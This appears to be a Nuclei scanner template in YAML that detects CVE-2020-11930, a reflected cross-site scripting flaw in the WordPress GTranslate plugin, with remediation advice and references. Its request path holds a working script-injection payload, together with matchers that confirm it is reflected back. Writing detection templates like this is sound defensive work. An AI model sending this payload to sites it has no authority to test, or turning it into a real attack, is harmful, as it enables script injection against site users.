55 lines
2.0 KiB
YAML
55 lines
2.0 KiB
YAML
id: CVE-2020-11930
|
|
|
|
info:
|
|
name: WordPress GTranslate <2.8.52 - Cross-Site Scripting
|
|
author: dhiyaneshDK
|
|
severity: medium
|
|
description: |
|
|
WordPress GTranslate plugin before 2.8.52 contains an unauthenticated reflected cross-site scripting vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.
|
|
remediation: |
|
|
Update the WordPress GTranslate plugin to version 2.8.52 or later to mitigate the vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/10181
|
|
- https://payatu.com/blog/gaurav/analysis-of-cve-2020-11930:-reflected-xss-in-gtranslate-wordpress-module
|
|
- https://plugins.trac.wordpress.org/changeset/2245581/gtranslate
|
|
- https://plugins.trac.wordpress.org/changeset/2245591/gtranslate
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-11930
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2020-11930
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00396
|
|
epss-percentile: 0.70553
|
|
cpe: cpe:2.3:a:gtranslate:translate_wordpress_with_gtranslate:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: gtranslate
|
|
product: translate_wordpress_with_gtranslate
|
|
framework: wordpress
|
|
publicwww-query: "/wp-content/plugins/gtranslate"
|
|
tags: cve,cve2020,wordpress,wp,xss,wp-plugin,wpscan,gtranslate
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/does_not_exist"%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E<img%20src=x'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<script>alert(document.domain)</script>'
|
|
- 'uri-translation'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022050c79cfff42c40e9b6f09ecf53b1d16f6c436daa2b7bfd9eb9488bd71c6bebc3022100fbdadc28cdf9e73f45e8dac1aeda46d4fe53d1a89abcff62ec38cbd6bc8fd266:922c64590222798bb761d5b6d8e72950 |